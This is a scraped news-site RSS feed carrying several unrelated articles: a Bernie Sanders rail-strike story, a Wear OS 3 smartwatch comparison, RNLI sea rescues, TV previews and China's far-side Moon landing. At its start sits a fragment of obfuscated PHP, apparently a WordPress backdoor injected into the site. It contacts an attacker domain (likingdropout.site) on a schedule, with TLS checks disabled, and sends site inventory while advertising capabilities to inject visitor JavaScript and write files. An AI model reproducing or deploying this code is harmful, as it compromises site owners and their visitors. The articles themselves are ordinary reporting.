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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); side – Brief News https://briefnews.eu Latest World News. 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Sen. Bernie Sanders of Vermont.

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  • Senator Bernie Sanders blocked a Republican resolution to avert a rail strike and override workers.
  • Republicans want Congress to step in and enact contract recommendations, even if workers don't agree.
  • Sanders said that workers deserve paid sick leave, which is the demand holding up agreements.

Sen. Bernie Sanders of Vermont on Wednesday blocked a Republican proposal to push through an agreement for rail workers and prevent a potentially economy-stopping national strike.

The GOP-backed resolution would forgo workers' demands to be able to call out sick or for family emergencies. As the strike looms, Amtrak has canceled cross-country trips, and the Biden administration is scrambling  to help broker a deal. 

"The CEOs in the freight rail industry need to understand that they cannot have it all," Sanders said during a Wednesday floor speech. "The rail industry must agree to a contract that is fair and is just. It is time for Congress to stand on the side of workers for a change and not just the heads of large multinational corporations."

Sens. Richard Burr of North Carolina and Roger Wicker of Mississippi wanted Congress to pass a set of recommendations from a presidentially-appointed bipartisan panel and avert a strike, even if workers did not voluntarily agree to a deal. 

"There are mechanisms that have been in the law for a long time to allow Congress to step in and prevent the economic disaster that would ensue," Wicker told Insider earlier on Wednesday. "I think it's time to invoke that provisional law."

The US Chamber of Commerce, which represents business interests, estimated a shutdown would cost the economy $ 2 billion a day. John Drake, VP of transportation, infrastructure and supply chain policy at the Chamber of Commerce, told Insider in a statement that he "welcomes" the Republican resolution.

But the proposal would potentially overrule workers' decision on their contract, which they've been bargaining since 2019, should workers not reach a voluntary agreement with rail carriers. Workers are set to strike on Friday if they do not reach an agreement; unions and rail carriers have been in discussions facilitated by Secretary of Labor Marty Walsh and the Department of Labor throughout Wednesday. However, Congress taking action would force a new deal and avert a strike.

Sanders, Wicker, and Burr sparred over the workers' demands, with Sanders emphasizing that workers should get paid for time out sick — and a say in their contract.

"I wonder if the CEOs and top executives of the railroads would get fired if they got sick or had a medical emergency in their families," Sanders said. "I doubt it very much."

Sanders noted that rail workers would be entitled to no sick days, either paid or unpaid, under the current set of recommendations from the presidential panel. That's proven to be a hardline issue for the set of unions who haven't signed on to the tentative agreement.

"The Burr-Wicker resolution would take these fundamental rights away from workers," he said.

Burr said that the resolution is now in the hands of Senate Majority Leader Chuck Schumer, and expressed confidence Republicans could lend most of the votes needed to pass the resolution. It would need 60 votes to cross the filibuster threshold, an amount of support it's very unlikely to garner. Ten Senate Democrats would need to join every Senate Republican for the measure to pass.

"I don't think anyone wants a strike or a lockout," Sanders said. "We hope that a settlement will be reached in the next day. In my view, if we reach a settlement, I would hope that the railroads — which are making huge profits — treat their workers with the respect they deserve."

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]]> https://briefnews.eu/bernie-sanders-blocks-republican-proposal-to-override-workers-and-stop-a-railroad-strike-it-is-time-for-congress-to-stand-on-the-side-of-workers-for-a-change/feed/ 0 These two smartwatches reveal a dark side of Wear OS 3 https://briefnews.eu/these-two-smartwatches-reveal-a-dark-side-of-wear-os-3/ https://briefnews.eu/these-two-smartwatches-reveal-a-dark-side-of-wear-os-3/#respond Wed, 14 Sep 2022 13:39:37 +0000 https://briefnews.eu/these-two-smartwatches-reveal-a-dark-side-of-wear-os-3/ Since Google announced Wear OS 3 in 2021, the only way to experience the software has been on a Samsung smartwatch — either the Galaxy Watch 5 or Galaxy Watch 5 Pro, where it’s covered by the company’s own One UI Watch interface and tweaks. That has recently changed with the release of the Montblanc Summit 3, which also comes with Wear OS 3, but obviously not Samsung’s software.

It gives us a chance to see how Samsung’s vision for Wear OS 3 differs from Google’s, as there appears to be very little customization on Montblanc’s part. It turns out it’s very different, and using them may give us a glimpse as to what Wear OS 3 will be like when companies without Samsung’s experience eventually utilize the new software.

Same swipes, different results

The two smartwatches differ considerably in operation. Swipe up on the Galaxy Watch 5 Pro, and you get a list of installed apps — but do the same on the Summit 3, and you’re looking at your notifications. You press the button on the crown to see installed apps, where they’re presented in a vertical, named list. This is actually preferable to Samsung’s icon-based app list, which can be confusing as it’s not always immediately obvious which apps some icons relate to. The Summit 3 is far more glanceable.

The Galaxy Watch 5 Pro and the Montblanc Summit 5.
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You swipe down from the top of the screen to see Quick Settings on both smartwatches, but Samsung has spread multiple buttons across scrollable screens, making them larger and easier to press. On the Summit 3, there are 10 buttons in all, and they only just fit on the screen at once.

Swipe left on both to see Tiles that relate to health and fitness, along with information like the weather and your calendar. Swipe right on the Galaxy Watch 5 Pro to see your notifications.

The treatment of the menus and buttons in One UI Watch is heavily influenced by Samsung’s Tizen software, last seen on the Galaxy Watch 3. Buttons and menus are more colorful with bolder fonts, there are more eye-catching graphics, and easier-to-press buttons. It’s unfortunate there’s no immediately obvious way to change the app icon layout to a text-based list, as that’s the only place where Wear OS 3 on the Summit 3 improves on the Galaxy Watch 5 Pro’s system.

Feature packed vs. barebones

Digging deeper into the menus reveals further differences. We’re going to start with the Accessibility menu, as it’s something at which the Galaxy Watch 5 Pro excels and at which Wear OS 3 on the Summit 3 falls short. On the Summit 3, there is a Magnification mode, the option to increase font size, and a way to turn the haptic vibration on or off. It’s a fairly basic set of controls compared to One UI Watch.

App menu on the Galaxy Watch 5 Pro.
Notifications on the Galaxy Watch 5 Pro.
Quick Settings on the Galaxy Watch 5 Pro.
Setting an alarm on the Galaxy Watch 5 Pro.
The accessibility menu on the Galaxy Watch 5 Pro.

Samsung breaks its accessibility options down into three main sections: visibility, hearing, and interaction. Go into each, and there are settings for high contrast fonts, inverted colors, reducing blur, changing the size and type of the font, bolding text, muting audio or using mono sound, changing the duration of screen taps, ignoring repeated taps, and even changing the amount of time the watch will wait to recognize an interaction. It makes the Watch 5 Pro far more useful to more people.

Basic apps have a lot more functionality on the Galaxy Watch 5 Pro. Take the alarm feature. On the Galaxy Watch 5 Pro, it greets you with the option to set an alarm on the watch or for one to sound on your phone, plus provides options for the alarm sound, vibration pattern, snooze, and the usual repeat features. On Wear OS 3 on the Summit 3, you can set the time and whether it’s repeated or not.

Body composition on the Samsung Galaxy Watch 5.
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The Galaxy Watch 5 Pro has a lot more features in general than the Summit 3, where Wear OS 3 feels barebones, with just the basics needed. Samsung’s technically impressive camera app (where the watch shows a preview of the camera view on your phone) isn’t available, the sensor array isn’t as comprehensive, so health features are more limited, and there’s no ability to make or receive calls, plus no speaker for Google Assistant either.

What’s not clear is whether the basic nature of Wear OS 3 on the Summit 3 is Montblanc’s decision or if Wear OS is, in general, feature-light and ready for manufacturers to embellish as they see fit. Noting its simplicity isn’t a criticism of the Summit 3 either, as it’s not aimed at the same person who would be considering the Galaxy Watch 5 Pro, but there’s no excuse on Montblanc or Google’s part for missing accessibility features or making things like the alarm so basic.

Using Wear OS 3 and One UI Watch

Using the two smartwatches for general tasks — including downloading apps from Google Play, controlling music through the YouTube Music app, and interacting with notifications — showed very little in the way of performance or feature differences. Choose an app to download, and both open the Google Play app, locate the app, download, and install it in basically the same amount of time.

App menu on the Montblanc Summit 3.
Notifications on the Monblanc Summit 3.
Quick Settings menu on the Montblanc Summit 3.
Setting an alarm on the Montblanc Summit 3.
The accessibility menu on the Montblanc Summit 3.

It takes seconds to pair Bluetooth headphones on the Galaxy Watch 5 Pro, and if you have Samsung headphones already paired with your phone, they automatically appear in the list on the watch. Pairing is no problem on the Summit 3 either, but it does not automatically highlight headphones that have previously been paired with the connected phone, making the process slightly longer.

Heart rate on the Montblanc Summit 3.
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Notifications are slightly more basic in Wear OS 3 on the Summit 3 but are more natural and faster to view quickly. The Galaxy Watch 5 Pro has a set of pre-written single-word responses to some messages, plus the option to use an emoji or to open the message on your phone. The Summit 3’s reply options don’t include canned responses, but you can reply using your voice, the keyboard, or on your phone — just as you can on the Galaxy Watch 5 Pro.

The way notifications are arranged in list form on the Summit 3 does make them faster to navigate, particularly combined with the excellent rotating crown. Notifications are treated like Tiles on the Galaxy Watch 5 Pro, and you swipe left to right and view a single notification at a time, which can be ponderous.

Waiting for the Pixel Watch

What’s clear after using the two together is that Samsung adds plenty of value to its Wear OS 3 smartwatch with the use of One UI Watch. While some of its interface choices aren’t as user-friendly as Wear OS 3 on the Summit 3, there’s a lot more customization (in a good way) and helpful features that make the watch more useful to more people. The Summit 3 is very much, “what you see is what you get.”

Lifestyle image of a woman wearing a Google Pixel Watch.
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What’s frustrating is we really don’t know whether any other manufacturers will spend as much time and effort making Wear OS 3 as feature-packed as Samsung has, particularly as few will have the benefit of an older smartwatch operating system (in its case, Tizen) to learn from and integrate. It’s frustrating because there’s nothing to compare the Summit 3 to, as no other Wear OS 3 smartwatch has been released yet.

We’ll find out more about Wear OS 3 in October when Google releases the Pixel Watch, which we know will run the latest software. However, Google has no track record with making smartwatches, and although Android on a Pixel’s simplicity and clean design is a benefit, if Wear OS 3’s default state is like the Summit 3, the Pixel Watch will struggle to compete with the Galaxy Watch 5 and Watch 5 Pro.

For now, Wear OS 3 definitely benefits from Samsung’s involvement. The difference One UI Watch makes to the software compared to the experience on the Summit 3 is genuinely noticeable, and almost all of the time, useful too.

]]> https://briefnews.eu/these-two-smartwatches-reveal-a-dark-side-of-wear-os-3/feed/ 0 Staff shortages that forced woman to give birth on the side of the road continue to plague Sask. hospitals https://briefnews.eu/staff-shortages-that-forced-woman-to-give-birth-on-the-side-of-the-road-continue-to-plague-sask-hospitals/ https://briefnews.eu/staff-shortages-that-forced-woman-to-give-birth-on-the-side-of-the-road-continue-to-plague-sask-hospitals/#respond Fri, 02 Sep 2022 18:14:59 +0000 https://briefnews.eu/staff-shortages-that-forced-woman-to-give-birth-on-the-side-of-the-road-continue-to-plague-sask-hospitals/ Kendal Carlberg

Staff shortages at the Meadow Lake Hospital continue more than a year after Kendal Carlberg was forced to give birth to her daughter on the side of a road.

]]> https://briefnews.eu/staff-shortages-that-forced-woman-to-give-birth-on-the-side-of-the-road-continue-to-plague-sask-hospitals/feed/ 0 RNLI crewman on close rescue – ‘A few yards either side, they would have been swept away’ https://briefnews.eu/rnli-crewman-on-close-rescue-a-few-yards-either-side-they-would-have-been-swept-away/ https://briefnews.eu/rnli-crewman-on-close-rescue-a-few-yards-either-side-they-would-have-been-swept-away/#respond Thu, 24 Sep 2020 13:20:02 +0000 https://briefnews.eu/rnli-crewman-on-close-rescue-a-few-yards-either-side-they-would-have-been-swept-away/

And for the unfortunates who find themselves capsized, adrift or cornered by an incoming tide, their best hope of survival lies with the brave volunteers of the Royal National Lifeboat Institution (RNLI), who regularly risk their lives for strangers at the bleep of a pager. This largely unpaid army of men and women, from priests and farmers to poets and bakers, came to the aid of 9,300 people last year, saving the lives of 374 people. And some of these dramatic rescues were captured on the crew’s own cameras for the BBC Two documentary series Saving Lives at Sea, currently back on the air for its fifth series. 

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Tonight’s episode features two incidents that would almost certainly have ended in tragedy were it not for these everyday heroes.

Experienced kayakers Molly Basson, 19, and her father Chris Coley, 44, nearly drowned last September after their boats overturned in treacherous rip currents, stranding them on a small, slippery rocky outpost off the Pembrokeshire coast in west Wales.

The pair had planned a day trip to RSPB bird reserve, Ramsey Island, to celebrate Molly’s 18th birthday a few days earlier.

But after setting off in the morning sunshine, they hit a notorious stretch of water along a reef of rocks called “The Bitches”, a tidal race causing dangerous conditions and named for its long association with shipwrecks.

“One minute the water was almost bubbling and then all of sudden it would go flat like you weren’t moving at all even though it’s pushing you along,” Molly recalls.

She and her dad managed to paddle through safely to Ramsey Island. On their return, however, the tide was flowing south towards Saint Bride’s Bay and the open sea.

“We were being pushed sideways, the water wasn’t letting us go through at all so we went through a big opening between the rocks near to the beaches,” says Molly.

The pair attempted to move towards a nearby rock but as they did so, Chris’s kayak was capsized by the swell, which then overturned Molly’s boat.

He managed to clamber onto the rocks but realised his daughter was underwater. Panic set in as she didn’t reappear.

RNLI mechanic Mike Chant

RNLI mechanic and long-term boat volunteer Mike Chant (Image: RNLI/BBC)

Submerged by the waves, Molly was caught in a vicious current that spun her around like a “washing machine” distorting her sense of reality.

“I thought I was only under water for a few seconds but my dad said it more like a minute and he was about to jump in,” she says.

“When I saw him, I started screaming, ‘Dad, dad, dad’. He told me to try and swim towards him, and then I had a little voice in my head that said, ‘Kick back and relax’.”

Luckily, Molly’s water sack was attached to her kayak preventing her from being pulled away by the swell.

But the pair found they could not get back into their boats without capsizing again and the water was rising, nearly pulling Chris into the sea at one point. Within 30 minutes, Molly was in tears.

“We need to call for help, this isn’t going to get any better,” she cried to her dad, who was trying to remain calm.

Thankfully, they had a phone signal and rang 999 requesting the coastguard, who alerted St David’s RNLI. An all-weather lifeboat reached them 20 minutes later from St David’s.

On board was RNLI mechanic and long-term boat volunteer Mike Chant.

“It sticks out in my mind because my granddaughter was born at 2pm in the afternoon of that day,” says Mike, who knows only too well the dangerous spot where Molly and Chris got into trouble. 

“It’s a little island, virtually a rock maybe 15 to 20 yards across and where they were the tide was hitting them directly,” he says.

“If they had been a few yards either side and not been able to hang on to that rock, they would have been swept away and the tide would have carried them off,”

Because of the dangers of underwater rocks, the crew had to launch an inflatable Y-class rescue boat. Molly says the wait “felt like years”.

By this point, the adrenaline was wearing off and she was shivering intensely, unable to stop thinking about her near-death experience.

“I realised I could have potentially drowned – a week after my 18th birthday, I could have just died and this is how I was celebrating it,” she says.

Mike’s footage shows the dramatic moment Molly and Chris are found before being guided safely into the lifeboat.Sadly not everyone is so lucky.

Born and bred in the tight-knit community of St David’s in Wales, also the UK’s smallest city, Mike, 55, has been an RNLI crewman since his twenties attending almost 100 call outs in his time.

He has seen a “handful of tragedies” in recent times, which he admits can be tough to fathom.

“It’s always a sad time because you feel so helpless,” he says. “You really want to find these people and sometimes you just don’t.

“There’s nothing you can do. That’s the nature of the sea you know.”

Mike Chant, Molly Basson, Chris Coley all smile

Mike Chant and RNLI crew with Molly Basson and Chris Coley (Image: RNLI/BBC)

On other occasions, he has found people who have sadly already lost their lives.

“In those moments it comes back to the training where they have told you that we are there to help but it’s not our fault.

There’s nothing worse than going home and blaming yourself for somebody else’s tragedy that you had no part in and all you could do was try to help.”

Last week’s episode featured the sad story of fisherman and father-of-two Peter Moseley whose body was discovered 25 miles off the coast of Bridlington after he fell into the sea from his fishing vessel without a lifejacket on.

Mike says he’s a big believer in talking through experiences with others and cites the close-knit community of St David’s as a “second family” where people watch out for one another.

He was born and raised in the city, even becoming its mayor.

His father was a crab fisherman and the RNLI has always been the “hub of the community”.

“Everybody rallied around it when I was young,” he says. “When the lifeboat would go out, members of the Ladies Guild would bring cakes for the returning crew members or to sell to others.”

Each boat carries seven crew members, a job everyone takes seriously.“It is the sense of giving back, of doing something that is valued and worthwhile,” he says. “And it has a bit of adventure about it too.”

The pager can go off 24 hours a day, 365 days a year, and there have been some awkward occasions when it does, including at a fellow crewman’s funeral.

“He would have loved that,” smiles Mike. 

Typical rescues include adventure seekers, walkers and fishermen.

The most nerve-shredding ones are “people who have fallen off boats as they are needles in a haystack”.

A dramatic boat rescue is one of the other cases featured in tonight’s Saving Lives At Sea featuring Cornish fisherman Nigel Taylor, 47.

Last July he was working in his day bunk on his boat when his crewman Ian Richardson shouted “fire”.

There was a blaze in the engine room which Nigel attempted to fight with a 20-litre fire extinguisher. “It was like a scene from a disaster film – she was well ablaze,” he recalls.

RNLI crews on lifeboat

RNLI crews saved the lives of 374 people in 2019 (Image: RNLI/BBC)

The two men realised they had no option but to abandon their craft and release the life raft.

By now, the wheelhouse was impassable with flames so it was impossible to send a mayday message.

Luckily, the two men were able to send a distress call from their mobile phones after paddling away from their doomed boat. 

Full-time RNLI Penlee coxswain Patch Harvey, an RNLI lifesaver for 14 years, was returning from a training exercise at that moment when he got an urgent launch call from Newlyn Harbour’s coast guard.

A former fisherman himself, having known Nigel for years, Patch, 50, recalls: “A load of questions go through your head. ‘Have they got burns or bad smoke inhalation? Are they okay in the life raft? What are we going to face?’”

The crew sped to the scene nine miles offshore, arriving within 20 minutes. The burning boat wasn’t hard to find because of the towering plume of smoke above it.“As we approached, we could see the life raft and only the hull of the boat – there was nothing left, just flames and smoke,” he says.

RNLI Penlee coxswain Patch Harvey

RNLI Penlee coxswain Patch Harvey (Image: RNLI/BBC)

Nigel and Ian were safe, although visibly shaken.

Nigel’s partner Sarah MacDonald was pregnant with their first child Roslyn at the time, now nine-months-old.

“It was a life and death situation so it did have a long-lasting effect on me,” he says.

He’s not stepped on board a big boat since and sought counselling for PTSD from the SeaFit programme through the Royal National Mission to Deep Sea Fishermen.

After the rescue, Patch and his team had to return to the blazing boat to protect other passing vessels in the event of an explosion.

“We kept about a half-mile distance for our own protection and eventually watched it burn down to sea level before it sunk,” he says.

Fortunately, it was only the second time as an RNLI crew member that Patch witnessed this kind of incident. 

He lost a good friend in March 2004. Newlyn fisherman and father-of-two Mark Jose, 42, whose wife was pregnant with their third child, was swept out to sea after his boat sank.

The two other occupants, Carl Thomas and Malcolm Nicholls, were rescued after 12 hours in a life raft.

“It was a horrible situation but unfortunately it can happen a lot with fisherman,” Patch says. He stresses every life saved makes his job worthwhile.

Rescues have been quieter since Covid-19 but so have the fundraising activities that keep the RNLI operating as a charity.

“The RNLI relies on the support and the generosity of the great British public to continue its life-saving work,” says Mike.

And if anyone knows of its importance then surely it is Molly, who has since braved the water again.

“I will be forever grateful,” she says of Mike and the other RNLI volunteers who saved her.

“Knowing that the volunteers are normal people themselves who risk their lives for others – I don’t think I’ll ever be able to repay them.”

Episode two, series five of Saving Lives at Sea airs at 8pm tonight on BBC Two. To support the RNLI, visit rnli.org/support-us

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]]> https://briefnews.eu/rnli-crewman-on-close-rescue-a-few-yards-either-side-they-would-have-been-swept-away/feed/ 0 Riverdale’s Casey Cott Previews Kevin’s Big Hedwig Showcase, Picks a Side in the Archie/Betty/Jughead Love Triangle https://briefnews.eu/riverdales-casey-cott-previews-kevins-big-hedwig-showcase-picks-a-side-in-the-archie-betty-jughead-love-triangle/ https://briefnews.eu/riverdales-casey-cott-previews-kevins-big-hedwig-showcase-picks-a-side-in-the-archie-betty-jughead-love-triangle/#respond Tue, 14 Apr 2020 22:44:39 +0000 https://briefnews.eu/riverdales-casey-cott-previews-kevins-big-hedwig-showcase-picks-a-side-in-the-archie-betty-jughead-love-triangle/

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Step aside for a second, Archie: It’s time for Kevin Keller to get the spotlight.

Riverdale returns this Wednesday (The CW, 8/7c) with an all-new musical episode, and Kevin takes center stage in it, planning a school variety show in which he’ll do a number from the cult favorite Hedwig and the Angry Inch. But when Principal Honey objects to his song selection, it sets off a student rebellion that takes over the whole school — and brings out a newly defiant side in Kevin.

“There’s been a lot brewing with Kevin this season, and I think it’s kind of bubbled to a brim where we can’t help but have him explode,” Casey Cott, who plays Kevin, tells TVLine. “It was really fun in this episode watching Kevin own it and go for it and stop apologizing and just really show up. I think it’s going to be a great launch pad for Kevin in the future.”

Watch a sneak peek of this week’s Riverdale right here:

Kevin ends up performing as Hedwig anyway… but getting into the full costume wasn’t easy. “The hair and makeup was two and a half hours, usually starting with the makeup, which was crazy,” Cott reveals. “I learned how to sit still for the first time. And then the wig, we’d chuck on, which took a bit, too.” But he did get a spiritual boost from the wig he wore, which had some powerful Hedwig energy: “The wig is actually the wig from the Hedwig movie that John Cameron Mitchell wore, so that’s pretty cool.”

But where does Cott fall on Season 4’s biggest controversy: the emerging love triangle between Archie, Betty and Jughead? (After all, Kevin famously declared Archie and Betty “endgame” back in Season 1.) “I feel like however I answer this question, there are going to be hundreds of people outside my home egging it,” he jokes, before adding: “I kind of like the idea of Archie and Betty getting together. They haven’t been able to explore that. I think it’d probably be more of an Archie characteristic, to be in love with Betty for his whole life and then they end up being together, than a Betty characteristic. It seems like there’s a lot more darkness, a lot more curiosity [to her]. So it’ll be interesting to see what happens there.”

Riverdale fans, drop your predictions for the rest of Season 4 in the comments.

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]]> https://briefnews.eu/riverdales-casey-cott-previews-kevins-big-hedwig-showcase-picks-a-side-in-the-archie-betty-jughead-love-triangle/feed/ 0 You season 2: Joe Goldberg star teases side ‘you’ve never seen’ ahead of Netflix release https://briefnews.eu/you-season-2-joe-goldberg-star-teases-side-youve-never-seen-ahead-of-netflix-release/ https://briefnews.eu/you-season-2-joe-goldberg-star-teases-side-youve-never-seen-ahead-of-netflix-release/#respond Tue, 24 Dec 2019 04:23:03 +0000 http://briefnews.eu/you-season-2-joe-goldberg-star-teases-side-youve-never-seen-ahead-of-netflix-release/

The nail-biting trailer for You season two has already unveiled Joe Goldberg’s (played by Penn Badgley) new victim after his cruel killing of Beck (Elizabeth Lail) in season one. With his eyes now set on Love Quinn (Victoria Pedretti)fans are wondering if she will meet the same fate as Beck. However, Penn has recently spoken out about the new season, revealing why season two was such a struggle.

You season one was a huge success for Netflix with viewers quickly big watching the new show before calling for a second season.

With a successful season one under their belts, it’s thought the next season would be a smooth run.

However, Joe Goldberg star Penn Badgley recently revealed this was far from the case.

Speaking to Digital Spy and other media outlets, the actor said: “I thought, ‘How are they going to do this?’

READ MORE: You season 2 trailer song: Who covers Creep?

“It’s difficult to pull off what we’re doing because he’s so obviously evil and there’s the pretty surreal concept of Candace being alive.

“I think they pulled off an incredible feat and I think that we explore the concepts of the show in an interesting new way.”

Moreover, the star revealed there will be a new side to Joe the audience is yet to see revealed in the new outing.

He added: “In season two, you see parts of Joe you’ve not seen before.

Although he claims he’s changed, his psychopathic tendencies worm their way back into his mind as he slowly becomes obsessed with Love, who is an aspiring chef working as a produce manager in a high-end grocery store.

As the two grow closer, it seems like there is nothing standing in his way.

However, the twisted killer will soon find a few problems he needs to get rid of before he can embark on his future with his new girl.

One of course, is his knife-welding ex-girlfriend Candace Stone (Ambyr Childers).

Candace was found to be alive when she turned up at the very end of the last series, after viewers believed she had been murdered by Joe.

All the while, Love’s brother, is quick to question what ‘Will’s’ intentions are with his sister.

If he becomes an obstacle, there’s no doubt history could repeat itself.

You Season 2 is released December 26 on Netflix.

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]]> https://briefnews.eu/you-season-2-joe-goldberg-star-teases-side-youve-never-seen-ahead-of-netflix-release/feed/ 0 The dark side of Canada’s new food guide — many Canadians can’t follow it https://briefnews.eu/the-dark-side-of-canadas-new-food-guide-many-canadians-cant-follow-it/ https://briefnews.eu/the-dark-side-of-canadas-new-food-guide-many-canadians-cant-follow-it/#respond Sun, 13 Jan 2019 21:25:08 +0000 http://briefnews.eu/the-dark-side-of-canadas-new-food-guide-many-canadians-cant-follow-it/ Kids learn to cook at a Toronto cooking school

Many Canadians don’t have the time or the money to eat according to the Canada Food Guide’s nutrition standards. But what if all Canadian schools offered at least one nutritious meal every day? It’s an old idea with new urgency.

]]> https://briefnews.eu/the-dark-side-of-canadas-new-food-guide-many-canadians-cant-follow-it/feed/ 0 China makes history by landing on the far side of the Moon https://briefnews.eu/china-makes-history-by-landing-on-the-far-side-of-the-moon/ https://briefnews.eu/china-makes-history-by-landing-on-the-far-side-of-the-moon/#respond Thu, 03 Jan 2019 15:20:01 +0000 http://briefnews.eu/china-makes-history-by-landing-on-the-far-side-of-the-moon/
China released this image of the lunar surface taken by the Chang'e-4 spacecraft.

Enlarge / China released this image of the lunar surface taken by the Chang’e-4 spacecraft. (credit: Xinhua)

Declaring that it has opened a new chapter in lunar exploration, the China National Space Administration announced late Monday night that its Chang’e-4 lander had safely set down on the far side of the Moon. No spacecraft has ever made a soft landing there.

According to state media, a Beijing-based control center commanded the spacecraft to begin the landing procedure at 9:15pm ET Monday (10:15am, Tuesday, local time), from an altitude of 15km above the lunar surface. During an 11-minute descent, Chang’e-4 slowed its speed from 1.7 km/s to nearly zero before it landed in the Von Karman Crater in the South Pole-Aitken Basin. This is in the mid-southern latitudes of the Moon on its far side; it should offer important scientific information about Earth and the early Solar System.

The 1.2-ton lander is made from backup components of the Chang’e-3 mission, which China’s space program landed on Mare Imbrium on the near side of the Moon five years ago. Shortly after landing, Chang’e-4 returned a photo of the lunar surface by way a relay satellite in lunar orbit, named Queqiao, meaning Magpie Bridge.

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The Chinese robotic probe Chang’e 4 has landed on the dark side of the moon, becoming the first manmade craft to alight on the unexplored surface, according to reports from Chinese state media.

The probe reportedly landed in the South Pole-Aitken basin, the oldest, largest, and deepest crater on the moon’s surface. The moon’s dark side remains largely unexplored because its position shields it from radio frequencies, preventing direct contact with the Earth. To solve that problem, China launched the relay satellite Queqiao earlier this year to transmit signals from the dark side.

Chang’e 4 will perform several experiments while on the moon, including testing whether plants will grow in the low gravity environment, exploring the poles to find water or other resources, observing the interaction between solar winds and the lunar surface, and conducting the first lunar low-frequency radio astronomy experiment.

“Since the far side of the Moon is shielded from electromagnetic interference from the Earth, it’s an ideal place to research the space environment and solar bursts, and the probe can ‘listen’ to the deeper reaches of the cosmos,” said Tongjie Liu, deputy director of the Lunar Exploration and Space Program Center at China’s National Space Administration. 

The Chinese probe had been circling the moon in an elliptical orbit in preparation for landing since Sunday. The mission left Xichang Satellite Launch Center on December 8 and was reported to have reached lunar orbit four days later.




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China is a relative newcomer to space travel compared to the US and Russia, but has been making up for lost time at a rapid rate. The country’s last lunar rover, Yutu, had spent 972 days on the lunar surface by the time its mission ended in 2016.

China plans to launch a Mars probe in 2020 to collect samples from the surface of the planet and seeks to have its own permanent space station in orbit by 2022. Meanwhile, the US, threatened by China’s incursions into space, is planning a buildup of its military there – the ‘Space Force’ – and forbids NASA from collaborating with China.

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Chinese media announced that the nation’s Chang’e-4 lunar lander has successfully reached the far side of the moon, making it the first spacecraft to do so. This is China’s recent lunar mission, following Jade Rabbit in 2013, but by touching the side of the moon that’s always facing away from the Earth, it has notched a first in the space race.

Chang’e-4 is sitting in the South Pole-Aitken basin’s Von Kármán crater, which is the oldest and deepest crater on the moon’s surface. Earlier this year China launched the Queqiao (Magpie Bridge) relay satellite that will allow its lander and rover to send back the first images taken from the surface.

Update: The China National Space Administration shared the first picture taken from the surface by Chang’e-4, which you can see after the break. In an attached statement, it said this has “opened a new chapter” in human exploration of the moon. The picture below shows the path its rover is expected to take, as it carries out experiments, takes readings and delivers a “biotech test load” to the lunar surface.

Source: Xinhua, Sina, CGTN Official (Twitter), CNSA

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